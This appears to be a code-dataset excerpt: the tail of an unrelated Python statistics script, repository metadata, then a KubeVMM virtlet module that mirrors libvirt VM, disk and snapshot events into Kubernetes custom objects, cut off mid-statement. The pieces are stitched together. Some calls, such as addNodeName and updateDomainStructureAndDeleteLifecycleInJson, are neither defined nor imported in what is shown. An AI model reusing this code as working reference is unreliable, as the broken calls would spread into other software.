tim3.append(float(b[2])) i = 0 file9 = open('first_approach_data_aux_10.txt') for line in file9: aux = line.rstrip('\n').split(',') for a in aux: b = a.split(' ') if i == 0: fit1.append(float(b[0])) ite1.append(int(b[1])) tim1.append(float(b[2])) i = 1 elif i == 1: fit2.append(float(b[0])) ite2.append(int(b[1])) tim2.append(float(b[2])) i = 2 elif i == 2: fit3.append(float(b[0])) ite3.append(int(b[1])) tim3.append(float(b[2])) i = 0 print(len(fit1)) print(sum(fit1)/220) print(np.std(fit1)) print(sum(ite1)/220) print(np.std(ite1)) t_i = [] for i in range(0, 220): t_i.append(tim1[i]/ite1[i]) print(sum(t_i)/220) print(np.std(t_i)) print('\n') print(sum(fit2)/220) print(np.std(fit2)) print(sum(ite2)/220) print(np.std(ite2)) t_i = [] for i in range(0, 220): t_i.append(tim2[i]/ite2[i]) print(sum(t_i)/220) print(np.std(t_i)) print('\n') print(sum(fit3)/220) print(np.std(fit3)) print(sum(ite3)/220) print(np.std(ite3)) t_i = [] for i in range(0, 220): t_i.append(tim3[i]/ite3[i]) print(sum(t_i)/220) print(np.std(t_i))

23.489583

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1

0

null

0

9

c57831f0b68e42c790073293dc9fe0d1603a8963

63,142

py

Python

virt/core/virtlet/services/os_event_handler.py

kubesys/kubevmm

de19303a24e1c1abe4b410732843d4c474f742c5

[ "Apache-2.0" ]

2

2021-09-13T07:35:51.000Z

2022-01-27T14:42:57.000Z

virt/core/virtlet/services/os_event_handler.py

kubesys/kube-vmm

de19303a24e1c1abe4b410732843d4c474f742c5

[ "Apache-2.0" ]

null

virt/core/virtlet/services/os_event_handler.py

kubesys/kube-vmm

de19303a24e1c1abe4b410732843d4c474f742c5

[ "Apache-2.0" ]

2

2019-07-15T10:12:18.000Z

2019-07-16T07:55:31.000Z

# -*- coding: utf-8 -*- ''' Copyright (2021, ) Institute of Software, Chinese Academy of Sciences @author: wuyuewen@otcaix.iscas.ac.cn @author: wuheng@otcaix.iscas.ac.cn ''' import json ''' Import python libs ''' import os import time import traceback import sys from json import loads from json import dumps from xml.etree.ElementTree import fromstring ''' Import third party libs ''' from watchdog.observers import Observer from watchdog.events import * from kubernetes import client, config from kubernetes.client.rest import ApiException from kubernetes.client import V1DeleteOptions from xmljson import badgerfish as bf ''' Import local libs ''' from utils.libvirt_util import get_pool_path, get_volume_path, refresh_pool, get_volume_xml, get_snapshot_xml, is_vm_exists, get_xml, \ vm_state, _get_all_pool_path, get_vol_info_by_qemu from utils import logger from utils import constants from utils.misc import create_custom_object, delete_custom_object, get_custom_object, update_custom_object, add_spec_in_volume, updateDescription, addSnapshots, get_volume_snapshots, runCmdRaiseException, \ addPowerStatusMessage, updateDomainSnapshot, updateDomain, report_failure, get_hostname_in_lower_case, \ DiskImageHelper GROUP = constants.KUBERNETES_GROUP VERSION = constants.KUBERNETES_API_VERSION VM_KIND = constants.KUBERNETES_KIND_VM VMD_KIND = constants.KUBERNETES_KIND_VMD VMDSN_KIND = constants.KUBERNETES_KIND_VMDSN VMDI_KIND = constants.KUBERNETES_KIND_VMDI VMSN_KIND = constants.KUBERNETES_KIND_VMSN VMDEV_KIND = constants.KUBERNETES_KIND_VMDEV VMI_KIND = constants.KUBERNETES_KIND_VMI TOKEN = constants.KUBERNETES_TOKEN_FILE PLURAL_VM = constants.KUBERNETES_PLURAL_VM PLURAL_VM_DISK = constants.KUBERNETES_PLURAL_VMD PLURAL_VM_DISK_SS = constants.KUBERNETES_PLURAL_VMDSN PLURAL_VM_DISK_IMAGE = constants.KUBERNETES_PLURAL_VMDI LIBVIRT_XML_DIR = constants.KUBEVMM_LIBVIRT_VM_XML_DIR VMD_TEMPLATE_DIR = constants.KUBEVMM_DEFAULT_VMDI_DIR HOSTNAME = get_hostname_in_lower_case() logger = logger.set_logger(os.path.basename(__file__), constants.KUBEVMM_VIRTLET_LOG) def xmlToJson(xmlStr): return dumps(bf.data(fromstring(xmlStr)), sort_keys=True, indent=4) def toKubeJson(json): return json.replace('@', '_').replace('$', 'text').replace( 'interface', '_interface').replace('transient', '_transient').replace( 'nested-hv', 'nested_hv').replace('suspend-to-mem', 'suspend_to_mem').replace('suspend-to-disk', 'suspend_to_disk') def updateJsonRemoveLifecycle(jsondict, body): if jsondict: spec = jsondict['spec'] if spec: lifecycle = spec.get('lifecycle') if lifecycle: del spec['lifecycle'] spec.update(body) return jsondict def myVmVolEventHandler(event, pool, name, group, version, plural): # print(jsondict) if event == "Delete": try: refresh_pool(pool) jsondict = get_custom_object(group, version, plural, name) # vol_xml = get_volume_xml(pool, name) # vol_json = toKubeJson(xmlToJson(vol_xml)) jsondict = updateJsonRemoveLifecycle(jsondict, {}) body = addPowerStatusMessage(jsondict, 'Ready', 'The resource is ready.') update_custom_object(group, version, plural, name, body) except ApiException as e: if e.reason == 'Not Found': logger.debug('**VM disk %s already deleted, ignore this 404 error.' % name) else: info = sys.exc_info() try: report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) except: logger.warning('Oops! ', exc_info=1) except: logger.error('Oops! ', exc_info=1) info = sys.exc_info() try: report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) except: logger.warning('Oops! ', exc_info=1) try: logger.debug('Delete vm disk %s, report to virtlet' % name) delete_custom_object(group, version, plural, name) except ApiException as e: if e.reason == 'Not Found': logger.debug('**VM disk %s already deleted, ignore this 404 error.' % name) else: info = sys.exc_info() try: report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) except: logger.warning('Oops! ', exc_info=1) except: logger.error('Oops! ', exc_info=1) info = sys.exc_info() try: report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) except: logger.warning('Oops! ', exc_info=1) elif event == "Create": try: logger.debug('Create vm disk %s, report to virtlet' % name) jsondict = {'spec': {'volume': {}, 'nodeName': HOSTNAME, 'status': {}}, 'kind': VMD_KIND, 'metadata': {'labels': {'host': HOSTNAME}, 'name': name}, 'apiVersion': '%s/%s' % (group, version)} with open(get_pool_path(pool) + '/' + name + '/config.json', "r") as f: config = json.load(f) volume = get_vol_info_by_qemu(config['current']) volume["pool"] = config['pool'] volume["poolname"] = pool volume["uni"] = config['current'] volume['disk'] = name volume['current'] = config['current'] vol_json = {'volume': volume} vol_json = add_spec_in_volume(vol_json, 'current', config['current']) jsondict = updateJsonRemoveLifecycle(jsondict, vol_json) body = addPowerStatusMessage(jsondict, 'Ready', 'The resource is ready.') try: create_custom_object(group, version, plural, body) except ApiException as e: logger.error(e) except: logger.error('Oops! ', exc_info=1) info = sys.exc_info() try: jsondict = get_custom_object(group, version, plural, name) report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) except: logger.error('Oops! ', exc_info=1) elif event == "Modify": try: logger.debug('Modify vm disk %s current, report to virtlet' % name) jsondict = get_custom_object(group, version, plural, name) with open(get_pool_path(pool) + '/' + name + '/config.json', "r") as f: config = json.load(f) volume = get_vol_info_by_qemu(config['current']) volume["pool"] = config['pool'] volume["poolname"] = pool volume["uni"] = config['current'] volume['disk'] = name volume['current'] = config['current'] vol_json = {'volume': volume} logger.debug(config['current']) vol_json = add_spec_in_volume(vol_json, 'current', config['current']) jsondict = updateJsonRemoveLifecycle(jsondict, vol_json) body = addPowerStatusMessage(jsondict, 'Ready', 'The resource is ready.') try: update_custom_object(group, version, plural, name, body) except ApiException as e: logger.error(e) except: logger.error('Oops! ', exc_info=1) info = sys.exc_info() try: jsondict = get_custom_object(group, version, plural, name) report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) except: logger.error('Oops! ', exc_info=1) else: refresh_pool(pool) jsondict = get_custom_object(group, version, plural, name) try: pass except: logger.error('Oops! ', exc_info=1) info = sys.exc_info() try: report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) except: logger.warning('Oops! ', exc_info=1) # def myVmVolSnapshotEventHandler(event, pool, ss_path, name, group, version, plural): # # print(jsondict) # if event == "Delete": # try: # refresh_pool(pool) # jsondict = client.CustomObjectsApi().get_namespaced_custom_object(group=group, # version=version, # namespace='default', # plural=plural, # name=name) # # vol_xml = get_volume_xml(pool, name) # # vol_json = toKubeJson(xmlToJson(vol_xml)) # jsondict = updateJsonRemoveLifecycle(jsondict, {}) # body = addPowerStatusMessage(jsondict, 'Ready', 'The resource is ready.') # modifyStructure(name, body, group, version, plural) # except ApiException as e: # if e.reason == 'Not Found': # logger.debug('**VM disk %s already deleted, ignore this 404 error.' % name) # else: # info = sys.exc_info() # try: # report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) # except: # logger.warning('Oops! ', exc_info=1) # except: # logger.error('Oops! ', exc_info=1) # info = sys.exc_info() # try: # report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) # except: # logger.warning('Oops! ', exc_info=1) # try: # logger.debug('Delete vm disk snapshot %s, report to virtlet' % name) # deleteStructure(name, V1DeleteOptions(), group, version, plural) # except ApiException as e: # if e.reason == 'Not Found': # logger.debug('**VM disk snapshot %s already deleted, ignore this 404 error.' % name) # else: # info = sys.exc_info() # try: # report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) # except: # logger.warning('Oops! ', exc_info=1) # except: # logger.error('Oops! ', exc_info=1) # info = sys.exc_info() # try: # report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) # except: # logger.warning('Oops! ', exc_info=1) # elif event == "Create": # try: # logger.debug('Create vm disk snapshot %s, report to virtlet' % name) # jsondict = {'spec': {'volume': {}, 'nodeName': HOSTNAME, 'status': {}}, # 'kind': VMDSN_KIND, 'metadata': {'labels': {'host': HOSTNAME}, 'name': name}, # 'apiVersion': '%s/%s' % (group, version)} # # volume = get_vol_info_by_qemu(ss_path) # volume["poolname"] = pool # volume["uni"] = ss_path # volume['disk'] = name # volume['current'] = ss_path # vol_json = {'volume': volume} # current = DiskImageHelper.get_backing_file(ss_path) # vol_json = add_spec_in_volume(vol_json, 'current', current) # jsondict = updateJsonRemoveLifecycle(jsondict, vol_json) # body = addPowerStatusMessage(jsondict, 'Ready', 'The resource is ready.') # try: # createStructure(body, group, version, plural) # except ApiException as e: # if e.reason == 'Conflict': # jsondict = client.CustomObjectsApi().get_namespaced_custom_object(group=group, # version=version, # namespace='default', # plural=plural, # name=name) # jsondict = updateJsonRemoveLifecycle(jsondict, vol_json) # body = addPowerStatusMessage(jsondict, 'Ready', 'The resource is ready.') # modifyStructure(name, body, group, version, plural) # else: # logger.error(e) # # except: # logger.error('Oops! ', exc_info=1) # info = sys.exc_info() # try: # jsondict = client.CustomObjectsApi().get_namespaced_custom_object(group=group, # version=version, # namespace='default', # plural=plural, # name=name) # report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) # except: # logger.error('Oops! ', exc_info=1) # elif event == "Modify": # try: # logger.debug('Modify vm disk snapshot %s current, report to virtlet' % name) # jsondict = client.CustomObjectsApi().get_namespaced_custom_object(group=group, # version=version, # namespace='default', # plural=plural, # name=name) # volume = get_vol_info_by_qemu(ss_path) # volume["poolname"] = pool # volume["uni"] = ss_path # volume['disk'] = name # volume['current'] = ss_path # vol_json = {'volume': volume} # current = DiskImageHelper.get_backing_file(ss_path) # vol_json = add_spec_in_volume(vol_json, 'current', current) # jsondict = updateJsonRemoveLifecycle(jsondict, vol_json) # body = addPowerStatusMessage(jsondict, 'Ready', 'The resource is ready.') # try: # modifyStructure(name, body, group, version, plural) # except ApiException as e: # if e.reason == 'Conflict': # jsondict = client.CustomObjectsApi().get_namespaced_custom_object(group=group, # version=version, # namespace='default', # plural=plural, # name=name) # jsondict = updateJsonRemoveLifecycle(jsondict, vol_json) # body = addPowerStatusMessage(jsondict, 'Ready', 'The resource is ready.') # modifyStructure(name, body, group, version, plural) # else: # logger.error(e) # except: # logger.error('Oops! ', exc_info=1) # info = sys.exc_info() # try: # jsondict = client.CustomObjectsApi().get_namespaced_custom_object(group=group, # version=version, # namespace='default', # plural=plural, # name=name) # report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) # except: # logger.error('Oops! ', exc_info=1) # else: # refresh_pool(pool) # jsondict = client.CustomObjectsApi().get_namespaced_custom_object(group=group, # version=version, # namespace='default', # plural=plural, # name=name) # try: # pass # except: # logger.error('Oops! ', exc_info=1) # info = sys.exc_info() # try: # report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) # except: # logger.warning('Oops! ', exc_info=1) class VmVolEventHandler(FileSystemEventHandler): def __init__(self, pool, target, group, version, plural): FileSystemEventHandler.__init__(self) self.pool = pool self.target = target self.group = group self.version = version self.plural = plural def on_moved(self, event): if event.is_directory: logger.debug("directory moved from {0} to {1}".format(event.src_path, event.dest_path)) else: logger.debug("file moved from {0} to {1}".format(event.src_path, event.dest_path)) def on_created(self, event): if event.is_directory: logger.debug("directory created:{0}".format(event.src_path)) else: logger.debug("file created:{0}".format(event.src_path)) # filename = os.path.basename(event.src_path) # if filename == 'config.json': # with open(event.src_path, "r") as f: # config = json.load(f) # vol = config['name'] # try: # myVmVolEventHandler('Create', self.pool, vol, self.group, self.version, self.plural) # except ApiException: # logger.error('Oops! ', exc_info=1) def on_deleted(self, event): if event.is_directory: logger.debug("directory deleted:{0}".format(event.src_path)) else: logger.debug("file deleted:{0}".format(event.src_path)) # filename = os.path.basename(event.src_path) # if filename == 'config.json': # vol = os.path.basename(os.path.dirname(event.src_path)) # try: # myVmVolEventHandler('Delete', self.pool, vol, self.group, self.version, self.plural) # except ApiException: # logger.error('Oops! ', exc_info=1) def on_modified(self, event): if event.is_directory: logger.debug("directory modified:{0}".format(event.src_path)) else: pass # logger.debug("file modified:{0}".format(event.src_path)) # filename = os.path.basename(event.src_path) # if filename == 'config.json': # logger.debug("change config.json file: %s" % event.src_path) # with open(event.src_path, "r") as f: # config = json.load(f) # vol = config['name'] # try: # myVmVolEventHandler('Modify', self.pool, vol, self.group, self.version, self.plural) # except ApiException: # logger.error('Oops! ', exc_info=1) # maybe rebase current, try modify current snapshot # try: # myVmVolSnapshotEventHandler('Modify', self.pool, config['current'], # os.path.basename(config['current']), self.group, self.version, self.plural) # except ApiException: # logger.error('Oops! ', exc_info=1) def myVmSnapshotEventHandler(event, vm, name, group, version, plural): # print(jsondict) if event == "Delete": try: jsondict = get_custom_object(group, version, plural, name) # snap_xml = get_snapshot_xml(vm, name) # snap_json = toKubeJson(xmlToJson(snap_xml)) # snap_json = updateDomainSnapshot(loads(snap_json)) jsondict = updateJsonRemoveLifecycle(jsondict, {}) body = addPowerStatusMessage(jsondict, 'Ready', 'The resource is ready.') update_custom_object(group, version, plural, name, body) except ApiException as e: if e.reason == 'Not Found': logger.debug('**VM snapshot %s already deleted, ignore this 404 error.' % name) else: info = sys.exc_info() try: report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) except: logger.warning('Oops! ', exc_info=1) except: logger.error('Oops! ', exc_info=1) info = sys.exc_info() try: report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) except: logger.warning('Oops! ', exc_info=1) try: logger.debug('Delete vm snapshot %s, report to virtlet' % name) delete_custom_object(group, version, plural, name) except ApiException as e: if e.reason == 'Not Found': logger.debug('**VM snapshot %s already deleted, ignore this 404 error.' % name) else: info = sys.exc_info() try: report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) except: logger.warning('Oops! ', exc_info=1) except: logger.error('Oops! ', exc_info=1) info = sys.exc_info() try: report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) except: logger.warning('Oops! ', exc_info=1) elif event == "Create": try: logger.debug('Create vm snapshot %s, report to virtlet' % name) jsondict = {'spec': {'domainsnapshot': {}, 'nodeName': HOSTNAME, 'status': {}}, 'kind': VMSN_KIND, 'metadata': {'labels': {'host': HOSTNAME}, 'name': name}, 'apiVersion': '%s/%s' % (group, version)} snap_xml = get_snapshot_xml(vm, name) snap_json = toKubeJson(xmlToJson(snap_xml)) snap_json = updateDomainSnapshot(loads(snap_json)) jsondict = updateJsonRemoveLifecycle(jsondict, snap_json) body = addPowerStatusMessage(jsondict, 'Ready', 'The resource is ready.') try: create_custom_object(group, version, plural, body) except ApiException as e: logger.error(e) except: logger.error('Oops! ', exc_info=1) info = sys.exc_info() try: jsondict = get_custom_object(group, version, plural, name) report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) except: logger.error('Oops! ', exc_info=1) else: try: jsondict = get_custom_object(group, version, plural, name) except: logger.error('Oops! ', exc_info=1) info = sys.exc_info() try: report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) except: logger.warning('Oops! ', exc_info=1) class VmSnapshotEventHandler(FileSystemEventHandler): def __init__(self, field, target, group, version, plural): FileSystemEventHandler.__init__(self) self.field = field self.target = target self.group = group self.version = version self.plural = plural def on_moved(self, event): if event.is_directory: logger.debug("directory moved from {0} to {1}".format(event.src_path, event.dest_path)) else: logger.debug("file moved from {0} to {1}".format(event.src_path, event.dest_path)) dirs, snap_file = os.path.split(event.dest_path) _, vm = os.path.split(dirs) snap, file_type = os.path.splitext(snap_file) if file_type == '.xml': try: myVmSnapshotEventHandler('Create', vm, snap, self.group, self.version, self.plural) except ApiException: logger.error('Oops! ', exc_info=1) def on_created(self, event): if event.is_directory: logger.debug("directory created:{0}".format(event.src_path)) else: logger.debug("file created:{0}".format(event.src_path)) # dirs,snap_file = os.path.split(event.src_path) # _,vm = os.path.split(dirs) # snap, file_type = os.path.splitext(snap_file) # if file_type == '.xml': # try: # myVmSnapshotEventHandler('Create', vm, snap, self.group, self.version, self.plural) # except ApiException: # logger.error('Oops! ', exc_info=1) def on_deleted(self, event): if event.is_directory: logger.debug("directory deleted:{0}".format(event.src_path)) else: logger.debug("file deleted:{0}".format(event.src_path)) dirs, snap_file = os.path.split(event.src_path) _, vm = os.path.split(dirs) snap, file_type = os.path.splitext(snap_file) if file_type == '.xml': try: myVmSnapshotEventHandler('Delete', vm, snap, self.group, self.version, self.plural) except ApiException: logger.error('Oops! ', exc_info=1) def on_modified(self, event): if event.is_directory: logger.debug("directory modified:{0}".format(event.src_path)) else: logger.debug("file modified:{0}".format(event.src_path)) # def myVmBlockDevEventHandler(event, name, group, version, plural): # # print(jsondict) # if event == "Delete": # try: # jsondict = get_custom_object(group, version, plural, name) # # block_json = get_block_dev_json(name) # jsondict = updateJsonRemoveLifecycle(jsondict, {}) # body = addPowerStatusMessage(jsondict, 'Ready', 'The resource is ready.') # update_custom_object(group, version, plural, name, body) # except ApiException as e: # if e.reason == 'Not Found': # logger.debug('**VM block device %s already deleted, ignore this 404 error.' % name) # else: # info = sys.exc_info() # try: # report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) # except: # logger.warning('Oops! ', exc_info=1) # except: # logger.error('Oops! ', exc_info=1) # info = sys.exc_info() # try: # report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) # except: # logger.warning('Oops! ', exc_info=1) # try: # logger.debug('Delete vm block %s, report to virtlet' % name) # delete_custom_object(group, version, plural, name) # except ApiException as e: # if e.reason == 'Not Found': # logger.debug('**VM block %s already deleted, ignore this 404 error.' % name) # else: # info = sys.exc_info() # try: # report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) # except: # logger.warning('Oops! ', exc_info=1) # except: # logger.error('Oops! ', exc_info=1) # info = sys.exc_info() # try: # report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) # except: # logger.warning('Oops! ', exc_info=1) # elif event == "Create": # try: # logger.debug('Create vm block %s, report to virtlet' % name) # jsondict = {'spec': {'REPLACE': {}, 'nodeName': HOSTNAME, 'status': {}}, # 'kind': VMDEV_KIND, 'metadata': {'labels': {'host': HOSTNAME}, 'name': name}, # 'apiVersion': '%s/%s' % (group, version)} # block_json = get_block_dev_json(name) # jsondict = updateJsonRemoveLifecycle(jsondict, loads(block_json)) # body = addPowerStatusMessage(jsondict, 'Ready', 'The resource is ready.') # try: # create_custom_object(group, version, plural, body) # except ApiException as e: # logger.error(e) # # except: # logger.error('Oops! ', exc_info=1) # info = sys.exc_info() # try: # jsondict = get_custom_object(group, version, plural, name) # report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) # except: # logger.error('Oops! ', exc_info=1) # else: # try: # jsondict = get_custom_object(group, version, plural, name) # except: # logger.error('Oops! ', exc_info=1) # info = sys.exc_info() # try: # report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) # except: # logger.warning('Oops! ', exc_info=1) # # # class VmBlockDevEventHandler(FileSystemEventHandler): # def __init__(self, field, target, group, version, plural): # FileSystemEventHandler.__init__(self) # self.field = field # self.target = target # self.group = group # self.version = version # self.plural = plural # # def on_moved(self, event): # if event.is_directory: # logger.debug("directory moved from {0} to {1}".format(event.src_path, event.dest_path)) # else: # logger.debug("file moved from {0} to {1}".format(event.src_path, event.dest_path)) # # def on_created(self, event): # if event.is_directory: # logger.debug("directory created:{0}".format(event.src_path)) # else: # logger.debug("file created:{0}".format(event.src_path)) # path, block = os.path.split(event.src_path) # if is_block_dev_exists(event.src_path) and path != "/dev/mapper": # try: # myVmBlockDevEventHandler('Create', block, self.group, self.version, self.plural) # except ApiException: # logger.error('Oops! ', exc_info=1) # # def on_deleted(self, event): # if event.is_directory: # logger.debug("directory deleted:{0}".format(event.src_path)) # else: # logger.debug("file deleted:{0}".format(event.src_path)) # path, block = os.path.split(event.src_path) # # if is_block_dev_exists(event.src_path): # if path == '/dev/pts': # logger.debug('Ignore devices %s' % event.src_path) # else: # try: # myVmBlockDevEventHandler('Delete', block, self.group, self.version, self.plural) # except ApiException: # logger.error('Oops! ', exc_info=1) # # def on_modified(self, event): # if event.is_directory: # # logger.debug("directory modified:{0}".format(event.src_path)) # pass # else: # # logger.debug("file modified:{0}".format(event.src_path)) # pass def _solve_conflict_in_VM(name, group, version, plural): for i in range(1, 6): try: jsondict = get_custom_object(group, version, plural, name) jsondict['metadata']['labels']['host'] = HOSTNAME vm_xml = get_xml(name) vm_json = toKubeJson(xmlToJson(vm_xml)) vm_json = updateDomain(loads(vm_json)) body = updateDomainStructureAndDeleteLifecycleInJson(jsondict, vm_json) body = addNodeName(jsondict) update_custom_object(group, version, plural, name, body) return except Exception as e: if i == 5: raise e def myVmLibvirtXmlEventHandler(event, name, xml_path, group, version, plural): # print(jsondict) if event == "Create": try: logger.debug('***Create VM %s from back-end, report to virtlet***' % name) jsondict = {'spec': {'domain': {}, 'nodeName': HOSTNAME, 'status': {}}, 'kind': VM_KIND, 'metadata': {'labels': {'host': HOSTNAME}, 'name': name}, 'apiVersion': '%s/%s' % (group, version)} vm_xml = get_xml(name) vm_power_state = vm_state(name).get(name) vm_json = toKubeJson(xmlToJson(vm_xml)) vm_json = updateDomain(loads(vm_json)) jsondict = updateDomainStructureAndDeleteLifecycleInJson(jsondict, vm_json) jsondict = addPowerStatusMessage(jsondict, vm_power_state, 'The VM is %s' % vm_power_state) body = addNodeName(jsondict) try: create_custom_object(group, version, plural, body) except ApiException as e: if e.reason == 'Conflict': _solve_conflict_in_VM(name, group, version, plural) else: logger.error(e) except: logger.error('Oops! ', exc_info=1) info = sys.exc_info() try: jsondict = get_custom_object(group, version, plural, name) report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) except: logger.error('Oops! ', exc_info=1) elif event == "Modify": jsondict = get_custom_object(group, version, plural, name) try: if jsondict['metadata']['labels']['host'] != HOSTNAME: logger.debug('VM %s is migrating, ignore modify.' % name) return logger.debug('***Modify VM %s from back-end, report to virtlet***' % name) vm_xml = get_xml(name) vm_json = toKubeJson(xmlToJson(vm_xml)) vm_json = updateDomain(loads(vm_json)) body = updateDomainStructureAndDeleteLifecycleInJson(jsondict, vm_json) update_custom_object(group, version, plural, name, body) except: logger.error('Oops! ', exc_info=1) info = sys.exc_info() try: report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) except: logger.warning('Oops! ', exc_info=1) elif event == "Delete": # jsondict = client.CustomObjectsApi().get_namespaced_custom_object(group=group, # version=version, # namespace='default', # plural=plural, # name=name) logger.debug('***Delete VM %s, ignore it***' % name) # time.sleep(1) # try: # jsondict = get_custom_object(group, version, plural, name) # if jsondict['metadata']['labels']['host'] != HOSTNAME: # logger.debug('VM %s is migrating or ha, ignore delete.' % name) # return # # vm_xml = get_xml(name) # # vm_json = toKubeJson(xmlToJson(vm_xml)) # # vm_json = updateDomain(loads(vm_json)) # body = updateDomainStructureAndDeleteLifecycleInJson(jsondict, {}) # update_custom_object(group, version, plural, name, body) # except ApiException as e: # if e.reason == 'Not Found': # logger.debug('**VM %s already deleted, ignore this 404 error.' % name) # else: # info = sys.exc_info() # try: # report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) # except: # logger.warning('Oops! ', exc_info=1) # except: # logger.error('Oops! ', exc_info=1) # info = sys.exc_info() # try: # report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) # except: # logger.warning('Oops! ', exc_info=1) # try: # delete_custom_object(group, version, plural, name) # # vm_xml = get_xml(name) # # vm_json = toKubeJson(xmlToJson(vm_xml)) # # vm_json = updateDomain(loads(vm_json)) # # jsondict = updateDomainStructureAndDeleteLifecycleInJson(jsondict, vm_json) # # body = addExceptionMessage(jsondict, 'VirtletError', 'VM has been deleted in back-end.') # # modifyStructure(name, body, group, version, plural) # except ApiException as e: # if e.reason == 'Not Found': # logger.debug('**VM %s already deleted, ignore this 404 error.' % name) # else: # info = sys.exc_info() # try: # report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) # except: # logger.warning('Oops! ', exc_info=1) # except: # logger.error('Oops! ', exc_info=1) # info = sys.exc_info() # try: # report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) # except: # logger.warning('Oops! ', exc_info=1) class VmLibvirtXmlEventHandler(FileSystemEventHandler): def __init__(self, field, target, group, version, plural): FileSystemEventHandler.__init__(self) self.field = field self.target = target self.group = group self.version = version self.plural = plural def on_moved(self, event): if event.is_directory: logger.debug("directory moved from {0} to {1}".format(event.src_path, event.dest_path)) else: logger.debug("file moved from {0} to {1}".format(event.src_path, event.dest_path)) _, name = os.path.split(event.dest_path) vm, file_type = os.path.splitext(name) if file_type == '.xml' and is_vm_exists(vm): try: myVmLibvirtXmlEventHandler('Create', vm, event.dest_path, self.group, self.version, self.plural) except ApiException: logger.error('Oops! ', exc_info=1) def on_created(self, event): if event.is_directory: logger.debug("directory created:{0}".format(event.src_path)) else: logger.debug("file created:{0}".format(event.src_path)) # _,name = os.path.split(event.src_path) # file_type = os.path.splitext(name)[1] # vm = os.path.splitext(os.path.splitext(name)[0])[0] # if file_type == '.xml' and is_vm_exists(vm): # try: # myVmLibvirtXmlEventHandler('Create', vm, event.src_path, self.group, self.version, self.plural) # except ApiException: # logger.error('Oops! ', exc_info=1) def on_deleted(self, event): if event.is_directory: logger.debug("directory deleted:{0}".format(event.src_path)) else: logger.debug("file deleted:{0}".format(event.src_path)) _, name = os.path.split(event.src_path) vm, file_type = os.path.splitext(name) if file_type == '.xml' and not is_vm_exists(vm): try: myVmLibvirtXmlEventHandler('Delete', vm, event.src_path, self.group, self.version, self.plural) except ApiException: logger.error('Oops! ', exc_info=1) def on_modified(self, event): if event.is_directory: # logger.debug("directory modified:{0}".format(event.src_path)) pass else: logger.debug("file modified:{0}".format(event.src_path)) _, name = os.path.split(event.src_path) vm, file_type = os.path.splitext(name) if file_type == '.xml' and is_vm_exists(vm): try: myVmLibvirtXmlEventHandler('Modify', vm, event.src_path, self.group, self.version, self.plural) except ApiException: logger.error('Oops! ', exc_info=1) def myVmdImageLibvirtXmlEventHandler(event, name, pool, xml_path, group, version, plural): # print(jsondict) if event == "Create": try: ''' Refresh pool manually ''' refresh_pool(pool) logger.debug('Create vm disk image %s, report to virtlet' % name) jsondict = {'spec': {'volume': {}, 'nodeName': HOSTNAME, 'status': {}}, 'kind': VMDI_KIND, 'metadata': {'labels': {'host': HOSTNAME}, 'name': name}, 'apiVersion': '%s/%s' % (group, version)} vmd_xml = get_volume_xml(pool, name) vol_path = get_volume_path(pool, name) vmd_json = toKubeJson(xmlToJson(vmd_xml)) vmd_json = addSnapshots(vol_path, loads(vmd_json)) jsondict = updateDomainStructureAndDeleteLifecycleInJson(jsondict, vmd_json) jsondict = addPowerStatusMessage(jsondict, 'Ready', 'The resource is ready.') body = addNodeName(jsondict) try: create_custom_object(group, version, plural, body) except ApiException as e: logger.error(e) except: logger.error('Oops! ', exc_info=1) info = sys.exc_info() try: jsondict = get_custom_object(group, version, plural, name) report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) except: logger.error('Oops! ', exc_info=1) elif event == "Delete": try: ''' Refresh pool manually ''' refresh_pool(pool) jsondict = get_custom_object(group, version, plural, name) # with open(xml_path, 'r') as fr: # vm_xml = fr.read() # vmd_json = toKubeJson(xmlToJson(vm_xml)) # vmd_json = updateDomain(loads(vmd_json)) jsondict = updateDomainStructureAndDeleteLifecycleInJson(jsondict, {}) body = addPowerStatusMessage(jsondict, 'Ready', 'The resource is ready.') update_custom_object(group, version, plural, name, body) except ApiException as e: if e.reason == 'Not Found': logger.debug('**VM disk image %s already deleted, ignore this 404 error.' % name) else: info = sys.exc_info() try: report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) except: logger.warning('Oops! ', exc_info=1) except: logger.error('Oops! ', exc_info=1) info = sys.exc_info() try: report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) except: logger.warning('Oops! ', exc_info=1) try: logger.debug('Delete vm disk image %s, report to virtlet' % name) delete_custom_object(group, version, plural, name) # jsondict = updateDomainStructureAndDeleteLifecycleInJson(jsondict, vmd_json) # body = addExceptionMessage(jsondict, 'VirtletError', 'VM has been deleted in back-end.') # modifyStructure(name, body, group, version, plural) except ApiException as 